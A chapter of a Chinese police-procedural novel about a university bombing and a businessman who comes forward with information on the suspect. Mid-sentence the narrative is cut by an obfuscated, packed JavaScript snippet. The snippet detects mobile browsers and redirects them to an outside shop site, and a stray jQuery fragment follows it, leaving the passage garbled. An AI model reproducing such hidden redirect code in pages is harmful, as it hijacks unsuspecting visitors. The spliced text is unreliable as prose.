几个人摩拳擦掌,都找回了干劲。
马提子跳得尤其高,“我知道!肯定是尹从辉!”
“不是他,他在五楼。”陈数杉指指头顶。
大家纷纷张大嘴,惊讶地看着她。
陈数杉说,“今天下午四点左右,差不多廖队死亡的同时,他就来了,嘴上说提供城大爆炸案的线索,实际上,应该是想寻求保护。”
马提子气得直踢桌子脚,斯文连忙扶住杯子。
“知道害怕了?想起找警察了?要保护可以呀,先把旧案交代清楚!”
范立青问,“为什么在五楼?”
分局总共就五层,办案中心在一楼,五楼是局长办公室加大会议室。
陈数杉含蓄地说。
“他是招商办介绍过来的。”
马提子呸了声。
“会做生意了不起呀!陈队,让我审!”
“看上面谈的结果罢。”
**************
五楼,李局办公室。
李局没在,办公室让给王秘书和尹总。
庄队洗过澡吹了头发才出来见客,收拾的干干净净,闻不出硝烟味儿,所以王秘书和尹从辉看见他,满以为是接任的刑侦支队长。
“我听说了——”
王秘书语气沉痛。
“这种穷凶极恶的犯罪分子,一定要从重处刑!”
“城大爆炸案伤亡有限。”
庄队面无表情地瞟他一眼,淡淡道。
“你好,我是反恐支队长,姓庄。”
王秘书说,“哦哦,那观音桥,廖队的案子?”
“廖队死亡案目前没有跟城大爆炸案并案,分别是两个部门处理。”
王秘书一愣,马上顺势指向尹从辉。
“我们是为爆炸案来的,尹总旗下的Dragon Foundation多年热心公益,在城大设立了‘Dragon Foundation青年奖学金’,每年向一名就读食品安全或者化工专业二年級及以上的本科生颁发2万元,经常受邀到城大演讲,跟你们的嫌疑人莫安生打过交道。”
庄队抬起头,郑重地看着他。
“王秘书,案件侦破过程中一切保密,嫌疑人您从哪里打听出来的?”
一句话就把责任栽给了外人,闭口不谈警队内部是谁泄密。
王秘书嘴角抽了抽,暗想这几个队长怎么没一盏省油的灯?
“呃,城大爆炸案的唯一死者安岳,是我们宋局的太太。”
庄队愣了一下,这他还真不知道。
“认尸了么?”
“宋局认完刚走,昨天下午,安岳被刑侦支队传唤,小事,他们拘她一个老同学,她刚好在场,昨晚我陪宋局在这儿,没想到早上放人,下午就去世了,宋局是悲痛欲绝啊!孩子才三年级,正是关键的时候。”
“对不起,我不知道你代表受害者家属。”
“方才宋局在时,你们李局稍微透露了两句……”
尹从辉适时站出来发言。
“莫安生在校时专业就很突出,两年前她大三,我问她要怎么花这笔钱,我以为她会说交学费什么的,结果她在交通台打工已经挣到学费了,说要搞个实验室,化学我是一窍不通,想当然就很危险,她又是个小姑娘,没想到她说,水平高就不危险,印象很深。”
庄队问,“还有么?”
“去年她大四,候选人又有她,通常我们校外赞助嘛,不过问学校具体的筛选过程,但是我很好奇,辅导员说她为了申报,主动帮学弟学妹安排了实习,还搞了个‘城大危险品管理委员会’。”
“什么委员会?”庄队睁大了眼睛。
“城市大学,危险品,管理委员会。”
尹从辉口齿很利落。
“挂靠在学生会底下,搞危险品爆破演习,应急方案,常见毒化物的医疗急救处置,环境处置,面面俱到,其实校方早就制订了相关规定,但这个是学生提的,细致,又有可行性,校方很鼓励,据我所知,好几所大学都照搬了。”
“你是说,爆炸后学生会和校工的反应,是莫安生提前训练过的?”
庄队听着听着摸出烟,开始觉得尹从辉有点价值了。
“她做事很有条理,这份文档我当时看到觉得好,就拿回来了。”
尹从辉从包里掏出一本薄薄的小册子。
庄队接过来翻了几页,印刷简陋,但排版明晰,每个条款附带简笔画,非化学专业的人也能看懂,翻过背面,印刷时间是2023年6月。
整整一年以前,真不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404625|138765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
该夸她深谋远虑,还是骂她老谋深算。
“感谢您提供的帮助,这个,我借来用用。”
庄队转而问王秘书,“据您所知,安岳和莫安生认识么?”
“没法儿认识!”
王秘书苦笑。
“安岳的情况您问刑侦就清楚了,她有惊恐症,怕见人,平时不怎么出门,也不爱上网,就种种花,养养鱼,宋局全家都很迁就她,孩子公婆带,她父母有什么事儿都是我跑腿,她就不太接触社会。”
“那为什么她会出现在城大?”
王秘书摊手,“哎呀,这个她个人方面的原因,我就不知道了。”
尹从辉再次接替发言。
“我是安岳的高中同学……”
“你又认识?”
庄队讶然打断,但尹从辉面不改色,爽快地笑了。
“莫安生未必认识我,是我对她印象很深,她怎么会变成这样?”
庄队说,“你可以怀疑她,但我这里,还没有把她列为嫌疑人。”
“我明白,说安岳。”
尹从辉笑呵呵地,“安岳当年报考过城大,但没发挥好。”
这个理由实在是有点牵强。
庄队看看两人,示意送他们离开。
临分别,庄队特意跟尹从辉热情握手。
“真的感谢,如果所有市民像你都这么热心,我们破案肯定快得多。”
尹从辉迟疑了下,庄队手腕上裹了一块光滑的防水创可贴。
庄队笑,“不好意思啊!下午划了个口子,消毒了!放心!”
“这有用吗?”
王秘书上了尹从辉的车,还在怀疑。
“只能走一步看一步了,咱也不能作伪证欺骗警察对吧?”
他划出底线,王秘书大大放心,使劲点头。
“反正宋局不想事情闹大,万一挖出来这个变态是社会事件的受害人,回来找宋局报仇,连累老婆,那不成拍电影了?营销号最喜欢这种故事了,宋太本来就是倒霉受牵连,这个调子我们要定好。”
“有道理,我看啊,这几个队长手牵手,简直就是铁板一块,我也别找人打听进展了,做多错多,还是守株待兔,等警察上门问吧。”
尹从辉拉上安全带,“对,以不变应万变。”